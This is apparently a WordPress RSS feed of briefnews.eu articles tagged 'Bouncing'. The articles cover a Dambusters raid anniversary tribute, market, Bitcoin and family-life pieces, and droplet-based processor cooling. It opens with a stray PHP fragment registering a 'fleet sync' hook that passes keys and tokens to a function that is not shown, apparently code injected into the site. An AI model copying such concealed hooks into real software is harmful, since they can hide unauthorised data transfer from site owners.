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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Bouncing – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 16 May 2018 08:07:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Bouncing – Brief News https://briefnews.eu 32 32 The Dambusters Raid of 1943: Bouncing bombs unleashed 330million tons of water https://briefnews.eu/the-dambusters-raid-of-1943-bouncing-bombs-unleashed-330million-tons-of-water/ https://briefnews.eu/the-dambusters-raid-of-1943-bouncing-bombs-unleashed-330million-tons-of-water/#respond Wed, 16 May 2018 08:07:11 +0000 http://briefnews.eu/the-dambusters-raid-of-1943-bouncing-bombs-unleashed-330million-tons-of-water/

LIKE so many schoolboys of my generation I was captivated when I watched The Dam Busters shortly after the film came out in 1955. There was so much to enjoy. Not least the charismatic Richard Todd playing Wing Commander Guy Gibson, the commanding officer of 617 Squadron, and the distinguished Michael Redgrave’s brilliant portrayal of Barnes Wallis, the aeronautical engineer who devised the “bouncing bomb”.

It was the end of the film that I found most moving, capturing as it did the poignant mix of emotions of those returning from the raid. While the crews had a sense of achievement, having inflicted a vital blow against the enemy, their joy was tempered by the realisation that so many airmen had perished during the attack.

I watched the film more than 60 years ago at a cinema in British Honduras (now Belize), where my family was living as a result of my father’s overseas posting. I remain as gripped today by the courage of the Dam Busters’ aircrew as I was when I first saw the movie aged just nine or 10.

Now, on the 75th anniversary of the famous raid to attack dams deep in Nazi Germany, I am delighted to pay tribute to those who risked – and in many cases gave – their lives to carry out one of the most daring assaults of the Second World War.

Even before war had broken out in 1939 the British Air Ministry had identified the industrialised Ruhr valley, including its dams, as a potential target of major strategic value.

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The Eder Dam is breached during the Dam Busters

However the mission to attack the dams grew out of a concept devised by Wallis, who worked as assistant chief designer at Vickers, the engineering firm. Initially his design was intended as an anti-shipping bomb but its potential value for dam destruction was soon identified.

An immense amount of research swiftly took place and by early 1943 Wallis had devised a drum-shaped bomb, similar to a depth charge but with a hydrostatic fuse, that could be spun backwards at 500 rpm. He calculated that if dropped at the correct low altitude and from the right release point the bomb would skip along the water and strike the dam wall before running down to its base where it would explode. In December 1942 and January 1943 testing was undertaken at Chesil Beach, Dorset.

Final tweaks were then made to the plans before it was decided that up to six dams should be targeted in May 1943 when water levels would be at their highest and breaches of the dams would cause the most knock-on mayhem. Soon afterwards the newly established 617 Squadron started training for a top-secret assignment codenamed Operation Chastise.

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Hm King George Vi visits 617 Squadron (the Dam Busters), Royal Air Force Scampton

By the end of April 20 specially modified Lancasters had gathered at RAF Scampton in Lincolnshire under the command of Wing Commander Guy Gibson. During intense training, often at night, they practised flying at the required 60ft as stipulated by Wallis. As an added pressure they had to fly at exactly 232mph, with the bomb aimers trained in precisely how and when to release the bombs.

It was eventually decided to conduct the attack at night with the Möhne, Eder and Sorpe dams chosen as primary targets, while three others (Lister, Ennepe and Diemel) were identified as secondary targets for any surviving aircraft that were still armed with their ingenious weapons.

The bombs necessary for the secret raid were delivered to the squadron on May 13 after repeated tests and refinements.

Three formations were chosen, with the aircraft using two different routes to reach their targets. A total of 19 aircraft took off, each with a different call sign. Gibson, just 24-years-old but already a veteran of more than 170 sorties, was given the call sign G-George.

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Wing Commander Guy Gibson, VC, DSO & Bar, DFC & Bar

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The first aircraft took off at 9.28pm on May 16 and the others soon followed with the intention of striking the dams shortly after midnight. For much of the time the bombers flew low – at around 100ft – to avoid radar detection.

Several aircraft did not make it to the target area, either being shot down en route, having to return home damaged or crashing into power lines due to flying at such dangerously low altitudes. Those that did make it faced other hazards quite apart from enemy fire: the Eder Dam, for example, was shrouded in heavy fog.

However, 617 Squadron pressed ahead with its attack and the raid was highly successful: both the Möhne and Eder dams were breached, while the Sorpe dam was damaged but not breached. The Ennepe dam was struck but not seriously damaged.

On the return journey two more Lancasters were lost to flak but 11 of the 19 bombers made it back to RAF Scampton, with the last aircraft – which had been badly damaged by enemy fire – landing at 6.06am on May 17. This meant that a total of eight aircraft had been lost.

Altogether 133 aircrew had taken part in the raid. Of these 53 were killed, a casualty rate of almost 40 per cent. A further three men were captured as prisoners of war.

The raid had left the Ruhr under an estimated 330 million tons of water. Roads, railways, bridges and an important military aerodrome were all washed away. It was initially believed that 1,294 men, women and children died from the floods.

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The front page of the Daily Express after the raid

The Daily Express‘s front page headline after the attack read, Floods Roar Down page, May 1943 Ruhr Valley, and the success of the audacious raid provided a much-needed public relations boost for the war effort.

The government captured the mood of the nation by rushing through a number of gallantry awards for the aircrew. Decorations were announced in The London Gazette as early as May 28 and 34 of the survivors were decorated at Buckingham Palace on June 22.

Gibson was awarded the Victoria Cross (VC), Britain and the Commonwealth’s highest award for bravery in the face of the enemy. There were also the awards of five Distinguished Service Orders (DSOs), 10 Distinguished Flying Crosses (DFCs) and four Bars, two Conspicuous Gallantry Medals (CGM), 11 Distinguished Flying Medals (DFMs) and one Bar.

After the raid 617 Squadron was kept together as a specialist unit and adopted a squadron motto of “Après moi, le Déluge” (“After me, the Flood”).

My personal interest in the Dam Busters raid has now lasted more than six decades. After making some money as an entrepreneur I have amassed several gallantry medal collections, including the largest VC collection in the world.

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Barnes Wallis, creator of the bouncing bomb with Michael Redgrave who plays him in The Dam Busters

My collection of medals for gallantry in the air now includes not one, but two, medal groups awarded to Dam Busters’ crew: those of Charles Ernest Franklin and Leonard Joseph Sumpter.

Flight Sergeant (later Flying Officer) Franklin was awarded the DFM and Bar, the latter for his part in Operation Chastise, when as the bomb aimer for O-Orange he took part in the attack on the Ennepe Dam.

Flight Sergeant (later Flight Lieutenant) Sumpter was awarded the DFM and DFC, the former for his role in the raid. As part of the crew of L-Leather he took part in the attack on the Eder Dam. I am immensely proud to be the custodian of these medal groups.

Furthermore, I have always admired the bravery of men from Bomber Command and so I became a major donor to the Bomber Command Memorial that was unveiled by Her Majesty the Queen in Hyde Park in 2012 as a tribute to more than 55,000 airmen who died during the Second World War.

In 2015, I was touched when Squadron Leader Les Munro, then 95 and the last surviving Dam Busters pilot, offered to sell his medals to pay for the upkeep of this memorial. My solution to this issue, which Les went along with, was to offer £75,000 for the medals on the basis that the money would go to the RAF Benevolent Fund.

However I did not take possession of Squadron Leader Munro’s medals, logbooks and other memorabilia. Instead these were given to the Museum of Transport and Technology in Auckland. Squadron Leader Munro, a New Zealander, sadly died later in 2015, aged 96.

Today, as the RAF celebrates its centenary year, I hope that the nation will join me in saluting 133 participants from a unique raid that richly deserves its place in British folklore. The Dam Busters were the bravest of the brave and their sacrifice must never be forgotten.

• Lord Ashcroft KCMG PC is a businessman, philanthropist, author and pollster. He is the author of six books on bravery including Heroes Of The Skies (heroesoftheskies.com). For details about his VC collection visit lordashcroftmedals.com. For information on his work visit lordashcroft.com. Follow him on Twitter@LordAshcroft

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]]> https://briefnews.eu/the-dambusters-raid-of-1943-bouncing-bombs-unleashed-330million-tons-of-water/feed/ 0 Global markets are bouncing back as concern over Trump’s trade war eases https://briefnews.eu/global-markets-are-bouncing-back-as-concern-over-trumps-trade-war-eases/ https://briefnews.eu/global-markets-are-bouncing-back-as-concern-over-trumps-trade-war-eases/#respond Thu, 05 Apr 2018 08:15:38 +0000 http://briefnews.eu/global-markets-are-bouncing-back-as-concern-over-trumps-trade-war-eases/ trader happy thumbs up approvalReuters / Kai Pfaffenbach

  • Markets bounce on Thursday as fears of a full scale global trade war wane.
  • Major European indices are more than 1% higher in the first hour of trading.
  • Gains appear to be driven by conciliatory comments from President Trump’s top economic advisor, Larry Kudlow.
  • “Don’t overreact, we’ll see how this works out,” Kudlow said in an appearance on Fox Business.

LONDON — Markets around the world are bouncing on Thursday as fears of a full scale global trade war were once again allayed by a more conciliatory approach from the USA after an initially hostile stance.

Assets had dived on Wednesday after China announced plans for a series of retaliatory tariffs against the USA following the release on Tuesday of a list of goods the USA planned to levy tariffs on.

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]]> https://briefnews.eu/global-markets-are-bouncing-back-as-concern-over-trumps-trade-war-eases/feed/ 0 Now i'm excused from the school run I'm bouncing off the walls says MINDY HAMMOND https://briefnews.eu/now-im-excused-from-the-school-run-im-bouncing-off-the-walls-says-mindy-hammond/ https://briefnews.eu/now-im-excused-from-the-school-run-im-bouncing-off-the-walls-says-mindy-hammond/#respond Mon, 15 Jan 2018 00:02:38 +0000 http://briefnews.eu/now-im-excused-from-the-school-run-im-bouncing-off-the-walls-says-mindy-hammond/

At last, everything is back to normal.

Decorations returned to their boxes for another year and the sad skeleton that was once a bushy Christmas tree is on the bonfire.

Richard is off on his travels, the girls have resumed their schooling and since Izzy has become a driver I’m excused all those school runs.

I should be embracing the peace and quiet, but instead I’m bouncing off the walls.

Like the army of parents all over the world, for years my whole day has been organised around school timetables – but not any more.

I still spend half an hour dragging the girls from their beds in the morning and make them coffees, which are rarely so much as sniffed as they sit concentrating on the important business of subtle make-up application.

But instead of arranging the pick-up time every day, I’m left waiting for a text to appear from one of them at some point which will hopefully tell me when to expect them, and whether to cook.

I’m out in the fields by 8am these days and the animals are confused by the change in routine; the stables are pristine and everyone is fed and watered well before elevenses – in fact, elevenses has become tenses.

The pile of outstanding paperwork which used to dominate the kitchen island has shrunk so much it fits in one wicker tray, all my filing is done, the dishwasher never seems to be full and the floors in the house have never been so clean. I’m even up to date with the ironing.

Is this why so many women of a certain age meet for coffee and go to lunch just to fill the time?

Thankfully, I’m not a fan of shopping sprees, so Richard can breathe a sigh of relief and not worry I’ll be hitting the high street.

He’d like me to rejoice at my new-found liberty and jokes I should take up golf (although I’m not a huge fan of the Pringle sweater).

But he knows I miss the girls dreadfully, and when I heard Slipping Through My Fingers by ABBA playing on the radio the other day – with lyrics that tell the story of a mother’s relationship with her daughter, expressing her sadness that the day of separation was coming ever closer – I cried so hard the dogs came rushing to comfort me.

It’s so silly. After all, I’ve never been one to try and tie the girls to my apron strings and we all have to leave the nest at some point, but honestly, what is a mummy to do when there aren’t hours of child-induced housework and a half-empty fridge to worry about?

There are so many little projects I should attack, but the weird thing is, I genuinely believe I wouldn’t be facing the problem head-on if I buried myself in a random occupation.

I know it isn’t a serious issue, but it is one faced by so many parents and it seems to happen so suddenly, we’re simply not prepared for it.

So Richard and I had one of our planning meetings, except this one was a meeting with a difference.

Instead of talking about work, we discussed how we were going to cope with the next five years and made really good progress.

After a couple of hours we’d talked about everything and formulated a very loosely structured plan.

Life might change, but we found a way of navigating our way through which would allow us to be together more and make the very best of all the time we have with the girls while the business of being teenagers is getting done.

Now we have a way forward, it feels as though the pressure is off. The girls can have a little flap of their feathers with our blessing.

Most importantly, we’re going to have a lot offun over the next few years, and just to give you a hint, there may be travel, telly and my favourite – more puppies.

Will I become a lady who lunches? Not on your nelly.

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]]> https://briefnews.eu/now-im-excused-from-the-school-run-im-bouncing-off-the-walls-says-mindy-hammond/feed/ 0 Goldman Sachs says Bitcoin price will drop before bouncing back https://briefnews.eu/goldman-sachs-says-bitcoin-price-will-drop-before-bouncing-back/ https://briefnews.eu/goldman-sachs-says-bitcoin-price-will-drop-before-bouncing-back/#respond Tue, 04 Jul 2017 02:19:25 +0000 http://briefnews.eu/goldman-sachs-says-bitcoin-price-will-drop-before-bouncing-back/

Even though Bitcoin has been called a bubble, investors who have hungrily watched Bitcoin’s price soar 290% over the past year from the sidelines still have a chance to win big. Or at least that’s according to Goldman Sachs analyst Sheba Jafari.

On Sunday, the banking giant sent a note seen by CNBC that said Bitcoin, now priced at $ 2,568 a piece, could fall as low as $ 1,857 before bouncing to a much higher valuation between $ 3,212 to $ 3,915. That means if an investor watches the cryptocurrency carefully and times it perfectly, they could gain as much as 110% on their initial investment. Granted, that would take quite a bit of patience, with Goldman acknowledging that “it might take time” to hit $ 3,915.

If Bitcoin were to hit $ 3,915, then that would add another $ 22 billion in market capitalization to cryptocurrency, which is up 53% from Bitcoin’s current market capitalization of $ 42 billion.

That comes as the cryptocurrency has fallen from a high of just over $ 3,000 in mid-June, with investors, including Mark Cuban, warning that Bitcoin’s price has already peaked.

This story originally appeared on Fortune.com. Copyright 2017

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]]> https://briefnews.eu/goldman-sachs-says-bitcoin-price-will-drop-before-bouncing-back/feed/ 0 Bouncing water droplets could be used to keep computer processors cool https://briefnews.eu/bouncing-water-droplets-could-be-used-to-keep-computer-processors-cool/ https://briefnews.eu/bouncing-water-droplets-could-be-used-to-keep-computer-processors-cool/#respond Tue, 04 Apr 2017 12:25:31 +0000 http://briefnews.eu/bouncing-water-droplets-could-be-used-to-keep-computer-processors-cool/

Scientists from Duke University and Intel have come up with a new mechanism for keeping high-performance electronics cool: fill their insides with bouncing water droplets. It sounds like a late April Fool’s joke, but the researchers say such a system could keep high-performance electronics running at full speed by organically targeting hot-spots.

The proposed technology, described in the journal Applied Physics Letters, was inspired by the super-hydrophobic wings of cicadas, which naturally repel water. When two small water droplets collide on a cicada’s wing, they join together to form a bigger droplet. This change releases a small amount of energy that’s enough to lift the water off the wing’s surface, taking dust and dirt with it. This means the wings are self-cleaning, but the engineers figured the same principle could be also used to remove heat.

Of course, no-one wants to spill water on sensitive circuits, so the researchers created a sealed “vapor chamber” that can be installed within electronic systems. On one side of the chamber is a super-hydrophobic floor, and on the other, a sponge-like ceiling. As the chamber is heated by the surrounding electronics, the vapor condenses into tiny water droplets. These fall onto the super-hydrophobic floor, join together into bigger droplets, then ping off the surface, taking heat with them. The water is then soaked back up by the sponge-like ceiling and the whole process stars over.


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An illustration of the vapor chamber, with its hydrophobic floor and sponge-like ceiling.

The clever thing about this system is that it automatically targets hot-spots, as those areas are where the water vapor will condense first. And, unlike existing cooling mechanisms, this system also works on two planes at the same time — vertical and horizontal — meaning the cooling happens more efficiently.

“Flat-plate heat pipes are remarkable in their horizontal spreading, but lack a vertical mechanism to dissipate heat,” said Chuan-Hua Chen, associate professor at Duke and co-author of the study, in a press statement. “Our jumping-droplet technology addresses this technological void with a vertical heat spreading mechanism, opening a pathway to beat the best existing heat spreaders in all directions.”

Chen says these vapor chambers are “comparable” to commercial cooling systems, but that a lot more work is needed to be to create systems that will continue to operate over time. “But now, for the first time, I see a pathway to beating the industry models.”

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